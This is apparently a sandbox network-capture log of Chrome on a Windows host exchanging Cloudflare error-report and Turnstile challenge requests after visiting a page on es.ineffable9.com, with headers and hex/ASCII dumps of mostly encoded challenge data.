2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 44 69 71 39 76 70 34 4f 7a 6f 4c 53 73 6b 37 4a 31 65 36 6d 62 72 71 79 2b 66 71 47 55 66 4c 44 46 70 4a 6d 44 6f 4c 76 45 6e 35 69 79 6f 34 71 6d 6b 34 36 74 6f 74 57 69 72 74 48 4a 7a 4a 6d 35 6e 35 72 43 32 64 58 42 30 4d 4b 6d 70 36 54 70 34 64 69 2b 33 63 76 52 33 38 58 4b 38 63 7a 79 31 2b 54 4b 36 64 66 56 36 39 48 57 2f 64 67 41 31 50 37 7a 34 73 6b 43 31 2b 4c 70 36 73 2f 6e 32 51 58 52 39 50 50 4d 44 51 37 78 38 4d 30 55 36 68 7a 7a 39 65 7a 31 47 65 33 66 33 52 66 69 47 67 59 56 43 41 48 72 36 52 49 77 48 76 4d 46 4d 66 45 71 38 66 41 37 4d 6a 6a 32 4b 51 38 75 47 2f 67 77 44 78 74 43 47 45 49 49 42 53 46 49 43 30 49 4f 53 69 41 69 45 43 55 54 44 55 39 4f 4d 42 49 72 4e 31 46 41 4e 54 39 66 4d 7a 35 63 55 47 41 6e 4f 55 56 41 51 31 74 66 57 53 Data Ascii: Diq9vp4OzoLSsk7J1e6mbrqy+fqGUfLDFpJmDoLvEn5iyo4qmk46totWirtHJzJm5n5rC2dXB0MKmp6Tp4di+3cvR38XK8czy1+TK6dfV69HW/dgA1P7z4skC1+Lp6s/n2QXR9PPMDQ7x8M0U6hzz9ez1Ge3f3RfiGgYVCAHr6RIwHvMFMfEq8fA7Mjj2KQ8uG/gwDxtCGEIIBSFIC0IOSiAiECUTDU9OMBIrN1FANT9fMz5cUGAnOUVAQ1tfWS
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 62 5a 52 77 6b 5a 78 32 63 35 4b 4e 76 70 2b 39 72 6f 79 6c 6b 35 2f 47 68 49 6d 49 6e 59 71 4a 6e 61 53 63 78 49 58 46 6f 38 6e 53 74 36 76 50 6f 36 75 76 30 70 58 56 75 64 58 56 77 72 72 62 77 63 53 33 79 75 57 70 32 4f 79 35 78 61 72 76 71 65 54 47 72 38 62 75 74 75 4c 50 38 64 36 37 79 76 44 33 76 2f 4c 36 77 75 44 57 33 4e 6a 5a 78 41 72 6a 44 2f 7a 47 30 41 7a 79 37 4e 34 51 79 52 41 4e 30 4f 37 36 45 41 73 51 33 42 62 65 38 68 6b 6b 46 75 41 54 34 68 59 6a 47 43 4c 6d 4b 68 44 6e 42 79 59 67 46 77 4d 7a 37 2f 44 36 2b 42 37 31 45 67 34 63 50 43 30 74 4e 52 77 30 53 51 6b 67 4f 45 4d 44 53 68 64 50 54 43 6c 54 54 55 67 49 57 45 38 58 56 56 74 54 56 6a 64 66 56 31 38 7a 47 6a 56 47 51 31 68 4a 61 68 78 73 59 7a 56 6b 4f 57 52 61 53 47 68 65 4c 30 68 Data Ascii: bZRwkZx2c5KNvp+9roylk5/GhImInYqJnaScxIXFo8nSt6vPo6uv0pXVudXVwrrbwcS3yuWp2Oy5xarvqeTGr8butuLP8d67yvD3v/L6wuDW3NjZxArjD/zG0Azy7N4QyRAN0O76EAsQ3Bbe8hkkFuAT4hYjGCLmKhDnByYgFwMz7/D6+B71Eg4cPC0tNRw0SQkgOEMDShdPTClTTUgIWE8XVVtTVjdfV18zGjVGQ1hJahxsYzVkOWRaSGheL0h
2024-12-05 21:16:33 UTC	1369	IN	Data Raw: 4c 69 66 6a 34 31 35 72 62 71 59 6f 62 69 47 78 37 4b 32 69 73 61 4c 6f 4b 36 51 6a 49 75 47 7a 4c 43 78 6b 74 50 48 74 64 58 54 30 37 2b 66 77 4d 4b 76 34 4f 58 58 78 65 6e 55 78 62 36 6d 36 4d 48 44 71 38 2f 49 77 71 2f 65 35 4e 44 34 77 63 6a 56 35 38 66 36 75 2b 48 66 31 2f 58 66 2b 64 62 5a 77 4f 45 48 38 39 58 37 34 74 76 43 45 2f 33 69 45 76 48 54 42 4f 6e 75 46 76 55 61 46 2b 7a 58 47 67 37 73 4a 53 44 33 34 41 51 68 45 77 6b 6e 47 53 55 4d 41 2b 6b 6b 46 50 34 4f 41 54 54 78 45 76 66 79 45 6a 49 75 48 69 6b 62 50 52 48 36 51 6a 38 76 51 69 6b 6a 45 78 35 4c 50 7a 35 4a 47 53 45 51 4e 55 5a 4e 44 31 52 50 51 6a 6c 48 53 6a 41 31 4d 46 68 44 56 7a 70 61 4f 44 45 68 4a 47 67 37 49 31 59 71 4f 7a 67 70 53 45 31 54 61 56 4e 66 52 6b 38 33 61 6c 42 5a Data Ascii: Lifj415rbqYobiGx7K2isaLoK6QjIuGzLCxktPHtdXT07+fwMKv4OXXxenUxb6m6MHDq8/Iwq/e5ND4wcjV58f6u+Hf1/Xf+dbZwOEH89X74tvCE/3iEvHTBOnuFvUaF+zXGg7sJSD34AQhEwknGSUMA+kkFP4OATTxEvfyEjIuHikbPRH6Qj8vQikjEx5LPz5JGSEQNUZND1RPQjlHSjA1MFhDVzpaODEhJGg7I1YqOzgpSE1TaVNfRk83alBZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49771	35.190.80.1	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:33 UTC	544	OUT	OPTIONS /report/v4?s=fqKH%2BfBdlK6H9SxzLOkq%2BqHj1aDG%2B9Nyqi0L9prj2hCH7ohoKwxWdHAAHBJLxxOV%2BBXV0yVNc%2BiDCgfhwt%2F%2FJ5yCtv9SkCeqa0A8utw4iw78skKJCdbdz4qPu6dTFg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://es.ineffable9.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:33 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 05 Dec 2024 21:16:33 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49772	35.190.80.1	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:34 UTC	484	OUT	POST /report/v4?s=fqKH%2BfBdlK6H9SxzLOkq%2BqHj1aDG%2B9Nyqi0L9prj2hCH7ohoKwxWdHAAHBJLxxOV%2BBXV0yVNc%2BiDCgfhwt%2F%2FJ5yCtv9SkCeqa0A8utw4iw78skKJCdbdz4qPu6dTFg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 447 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:34 UTC	447	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 33 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 65 73 2e 69 6e 65 66 66 61 62 6c 65 39 2e 63 6f 6d 2f 37 47 62 5a 75 36 49 64 76 5f 6d 32 61 74 37 78 67 4e 6d 57 6b 6b 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 34 33 2e 31 38 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 Data Ascii: [{"age":1,"body":{"elapsed_time":338,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/","sampling_fraction":1.0,"server_ip":"104.21.43.181","status_code":404,"type":"http.error"},"type
2024-12-05 21:16:35 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 05 Dec 2024 21:16:34 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49773	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:35 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:35 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Dec 2024 21:16:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: uSJBx+vJ0Od8sefpGSWQhYLQH6sN0A0CQyA=$uD3hDGwJLf9c764x Server: cloudflare CF-RAY: 8ed70ee24d5d0f4d-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49774	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:35 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8ed70eb9892b182d/1733433393196/5e09f65230dd9f46abe104a682db300e44e94132a9ace4d53e6c37e26f62d537/ZwJbetfr46IcsT5 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:36 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 05 Dec 2024 21:16:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-05 21:16:36 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 58 67 6e 32 55 6a 44 64 6e 30 61 72 34 51 53 6d 67 74 73 77 44 6b 54 70 51 54 4b 70 72 4f 54 56 50 6d 77 33 34 6d 39 69 31 54 63 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gXgn2UjDdn0ar4QSmgtswDkTpQTKprOTVPmw34m9i1TcAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-05 21:16:36 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49775	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:37 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ed70eb9892b182d/1733433393199/YnxHomZDnCCubfr HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:38 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:38 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ed70ef29d248ce6-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 11 00 00 00 54 08 02 00 00 00 eb 9a 4b 72 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRTKrIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49776	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:39 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ed70eb9892b182d/1733433393199/YnxHomZDnCCubfr HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:40 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:39 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ed70efd0fdb0fa0-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:40 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 11 00 00 00 54 08 02 00 00 00 eb 9a 4b 72 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRTKrIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49777	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:39 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31948 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:39 UTC	16384	OUT	Data Raw: 76 5f 38 65 64 37 30 65 62 39 38 39 32 62 31 38 32 64 3d 7a 70 36 6c 33 4a 72 73 68 47 34 61 70 61 65 4a 63 61 4b 61 25 32 62 78 55 72 51 61 76 61 42 4e 4a 73 39 4a 61 62 61 78 4c 2d 55 72 76 61 36 4e 4a 79 39 72 32 47 61 43 50 61 72 68 4e 61 51 61 62 52 4c 53 4c 61 30 62 35 52 4e 72 6b 35 64 61 4e 61 44 2d 61 55 56 61 33 39 6f 6c 50 46 7a 61 2b 36 61 71 61 36 76 53 61 32 78 61 72 6f 50 6c 46 52 73 6d 63 58 68 4c 6e 4e 61 57 46 52 4f 34 59 61 49 4e 72 39 49 49 61 61 34 68 61 44 4f 35 69 65 61 35 39 61 73 57 36 61 4a 56 65 61 69 56 35 61 5a 61 36 61 54 49 33 52 4a 6f 59 68 41 36 46 65 69 6e 4a 4c 39 65 65 58 61 2d 6f 4a 4f 63 38 5a 61 61 31 46 6e 61 72 35 34 42 4f 69 6c 2b 65 61 6f 4c 77 58 46 78 57 6e 61 53 42 69 45 4e 76 53 5a 35 38 2d 59 37 77 79 4c 53 Data Ascii: v_8ed70eb9892b182d=zp6l3JrshG4apaeJcaKa%2bxUrQavaBNJs9JabaxL-Urva6NJy9r2GaCParhNaQabRLSLa0b5RNrk5daNaD-aUVa39olPFza+6aqa6vSa2xaroPlFRsmcXhLnNaWFRO4YaINr9IIaa4haDO5iea59asW6aJVeaiV5aZa6aTI3RJoYhA6FeinJL9eeXa-oJOc8Zaa1Fnar54BOil+eaoLwXFxWnaSBiENvSZ58-Y7wyLS
2024-12-05 21:16:39 UTC	15564	OUT	Data Raw: 69 6f 36 42 64 35 4f 61 61 72 67 49 46 4d 39 4a 4c 72 2b 61 35 4c 68 61 4f 65 2b 56 61 55 61 7a 61 35 34 4a 4b 36 55 64 55 6c 35 4d 6a 6b 66 64 61 35 79 4e 39 61 36 6c 4a 68 61 4b 70 7a 6c 61 70 61 78 6f 6f 4c 4a 45 61 41 6c 72 50 4e 42 6c 48 61 72 62 72 79 61 6e 61 42 4c 61 65 4c 67 61 61 36 35 42 61 36 61 42 36 61 44 4e 6f 6c 4b 36 72 42 61 63 61 2d 68 72 77 61 45 6c 35 34 72 6c 61 50 6c 2b 68 35 63 61 38 6c 7a 34 72 4e 61 24 6c 4a 61 4a 46 68 45 6d 35 61 72 34 6c 4d 64 38 4e 61 6b 61 6a 4c 2d 73 35 72 61 78 6f 7a 34 64 2d 61 6e 61 6e 2d 4a 38 61 30 68 47 39 72 34 61 59 52 36 52 4a 70 61 4a 61 2d 6d 34 49 4c 46 6c 42 74 72 65 61 74 6c 4a 4e 72 34 61 77 61 7a 68 4a 48 4c 74 6c 2d 61 61 49 4c 45 6d 46 70 61 63 61 63 6c 72 59 44 6b 4e 30 68 2b 61 35 32 61 Data Ascii: io6Bd5OaargIFM9JLr+a5LhaOe+VaUaza54JK6UdUl5Mjkfda5yN9a6lJhaKpzlapaxooLJEaAlrPNBlHarbryanaBLaeLgaa65Ba6aB6aDNolK6rBaca-hrwaEl54rlaPl+h5ca8lz4rNa$lJaJFhEm5ar4lMd8NakajL-s5raxoz4d-anan-J8a0hG9r4aYR6RJpaJa-m4ILFlBtreatlJNr4awazhJHLtl-aaILEmFpacaclrYDkN0h+a52a
2024-12-05 21:16:40 UTC	330	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:40 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26336 Connection: close cf-chl-gen: /u7cTbHrswx4FzBOSEYtCKITu2y/HiiMbNFGR1+BRTOgIUMlxGxqH0jeK7/TvfbLu+xmvAPOjxsWb/cf$cVKkrpT996a8s3WP Server: cloudflare CF-RAY: 8ed70efc8d6142c8-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:40 UTC	1039	IN	Data Raw: 6d 62 6d 57 63 35 4f 55 64 70 62 43 6d 4a 65 55 67 49 53 77 68 58 79 46 6f 4a 69 58 7a 63 36 63 6d 39 4b 6b 73 35 37 57 72 4d 47 70 7a 74 4b 77 33 70 66 52 73 4e 76 62 31 61 37 6c 75 75 50 68 78 62 76 6d 34 64 76 6c 78 61 76 62 30 39 47 31 35 63 57 31 38 64 58 62 39 74 37 6f 35 2b 6a 4d 38 4d 41 42 2f 65 48 39 41 2b 6e 7a 36 2b 62 5a 41 65 34 46 42 77 73 47 78 75 6a 6b 39 77 48 6c 41 2b 7a 4f 47 52 63 54 36 76 54 77 47 52 58 77 46 42 33 32 49 67 63 4d 4a 79 41 51 36 65 67 75 4a 43 6f 44 41 79 51 59 44 6a 55 6b 4e 44 51 5a 4c 7a 38 31 47 6a 6f 6c 44 79 55 2f 4f 69 6b 30 43 54 67 49 49 52 64 45 44 55 51 74 4d 79 64 4c 49 53 63 51 4d 52 56 4d 52 6b 63 38 4d 6c 30 62 58 53 46 56 58 57 4a 6a 4a 6d 70 6c 56 56 67 72 59 6b 46 6b 4f 7a 4d 72 5a 54 5a 53 59 6b 56 Data Ascii: mbmWc5OUdpbCmJeUgISwhXyFoJiXzc6cm9Kks57WrMGpztKw3pfRsNvb1a7luuPhxbvm4dvlxavb09G15cW18dXb9t7o5+jM8MAB/eH9A+nz6+bZAe4FBwsGxujk9wHlA+zOGRcT6vTwGRXwFB32IgcMJyAQ6eguJCoDAyQYDjUkNDQZLz81GjolDyU/Oik0CTgIIRdEDUQtMydLIScQMRVMRkc8Ml0bXSFVXWJjJmplVVgrYkFkOzMrZTZSYkV
2024-12-05 21:16:40 UTC	1369	IN	Data Raw: 44 77 5a 71 71 6c 73 6d 34 71 59 4c 51 79 34 7a 4b 6f 61 32 50 6b 71 2b 54 6c 62 32 57 73 38 75 36 7a 4b 79 56 6d 36 2b 2b 34 36 65 37 78 4b 6a 57 35 64 61 6d 32 75 6e 63 75 39 37 74 33 36 6e 6a 77 39 6a 55 33 4c 62 70 30 4e 6a 69 38 67 58 37 76 39 41 4a 31 38 48 7a 32 4e 2f 70 32 65 7a 35 38 4d 37 65 37 51 7a 6f 36 78 6e 5a 41 78 62 59 31 78 6a 75 41 43 41 44 49 53 4d 51 4a 41 49 70 35 2f 50 38 34 77 48 73 43 41 49 43 42 6a 49 73 44 54 62 75 43 68 73 49 4c 52 37 30 4d 67 6b 31 46 52 6b 35 4c 7a 59 43 48 51 55 2f 4a 6b 63 56 4c 79 68 4b 50 68 73 30 55 43 73 73 4d 52 59 50 54 6c 46 62 48 55 6b 52 53 43 42 44 49 56 46 44 52 54 45 66 49 6a 64 6c 50 47 67 75 4c 6e 46 65 58 57 6c 31 4c 44 35 45 57 48 42 46 61 6e 74 62 54 48 64 2f 62 6b 35 4d 57 6e 78 58 52 46 Data Ascii: DwZqqlsm4qYLQy4zKoa2Pkq+Tlb2Ws8u6zKyVm6++46e7xKjW5dam2uncu97t36njw9jU3Lbp0Nji8gX7v9AJ18Hz2N/p2ez58M7e7Qzo6xnZAxbY1xjuACADISMQJAIp5/P84wHsCAICBjIsDTbuChsILR70Mgk1FRk5LzYCHQU/JkcVLyhKPhs0UCssMRYPTlFbHUkRSCBDIVFDRTEfIjdlPGguLnFeXWl1LD5EWHBFantbTHd/bk5MWnxXRF
2024-12-05 21:16:40 UTC	1369	IN	Data Raw: 78 71 61 66 78 59 75 6b 72 36 53 73 71 4e 44 49 72 4e 66 59 33 4f 43 76 7a 4e 6a 6b 6d 36 32 7a 79 4c 47 30 32 65 72 45 75 2b 50 6e 7a 4d 75 79 33 72 33 4f 77 62 4b 34 7a 65 37 50 75 2b 2f 56 7a 4d 44 55 75 77 48 64 39 2f 76 67 78 4f 6e 6c 39 41 33 48 34 4d 6a 43 32 38 77 52 46 73 77 55 45 64 66 79 47 78 54 30 2f 52 6a 79 31 78 6f 6b 49 52 67 6c 35 69 51 49 4b 76 58 6c 41 76 77 66 43 78 6f 4d 38 4f 7a 76 4d 53 73 69 43 53 63 56 43 79 6b 50 46 44 73 52 50 54 77 53 2b 7a 38 79 49 6b 6f 72 53 54 73 4e 48 6b 6f 4c 51 77 73 4c 50 45 70 51 46 55 41 5a 56 55 51 33 4f 56 67 59 53 6a 46 50 50 42 70 52 4e 7a 78 6a 4f 6d 4e 55 58 43 68 6f 4c 56 39 6d 50 45 49 72 59 32 52 50 4e 56 5a 32 61 33 30 7a 54 7a 75 41 56 7a 6c 59 57 33 78 58 52 46 70 32 57 49 79 47 58 6b 79 Data Ascii: xqafxYukr6SsqNDIrNfY3OCvzNjkm62zyLG02erEu+PnzMuy3r3OwbK4ze7Pu+/VzMDUuwHd9/vgxOnl9A3H4MjC28wRFswUEdfyGxT0/Rjy1xokIRgl5iQIKvXlAvwfCxoM8OzvMSsiCScVCykPFDsRPTwS+z8yIkorSTsNHkoLQwsLPEpQFUAZVUQ3OVgYSjFPPBpRNzxjOmNUXChoLV9mPEIrY2RPNVZ2a30zTzuAVzlYW3xXRFp2WIyGXky
2024-12-05 21:16:40 UTC	1369	IN	Data Raw: 4d 6d 67 7a 4b 79 77 30 4d 62 48 72 38 76 54 7a 38 4c 66 76 4e 44 44 34 74 58 43 79 2b 66 43 33 4d 2f 72 78 65 44 54 37 38 6a 6b 31 2f 50 4c 7a 39 62 4b 73 73 72 79 37 76 66 64 38 66 6e 73 30 2f 44 55 41 65 66 71 42 75 7a 38 42 4d 6a 63 2f 63 76 51 33 67 34 4b 39 65 76 71 2b 4e 66 63 42 75 37 39 36 52 48 78 46 79 45 54 41 43 51 52 49 42 6e 6a 33 76 6b 5a 36 78 45 44 4c 54 55 6e 37 41 38 35 4b 43 59 6a 48 66 67 30 4c 50 46 42 47 69 4d 56 4d 41 34 6e 45 54 52 49 42 78 77 4b 4a 6b 6c 4b 49 77 73 69 49 79 5a 51 45 45 67 7a 4a 7a 41 73 4d 52 6b 64 57 53 73 37 4e 56 6f 37 49 6a 41 61 57 32 70 56 62 53 78 41 53 57 78 62 61 6c 73 76 58 32 35 66 4c 32 4e 79 5a 55 52 6e 64 6d 67 79 62 45 78 68 58 57 55 2f 63 6c 6c 68 61 33 75 4e 68 45 68 6d 63 48 35 68 67 49 69 4f Data Ascii: MmgzKyw0MbHr8vTz8LfvNDD4tXCy+fC3M/rxeDT78jk1/PLz9bKssry7vfd8fns0/DUAefqBuz8BMjc/cvQ3g4K9evq+NfcBu796RHxFyETACQRIBnj3vkZ6xEDLTUn7A85KCYjHfg0LPFBGiMVMA4nETRIBxwKJklKIwsiIyZQEEgzJzAsMRkdWSs7NVo7IjAaW2pVbSxASWxbalsvX25fL2NyZURndmgybExhXWU/cllha3uNhEhmcH5hgIiO
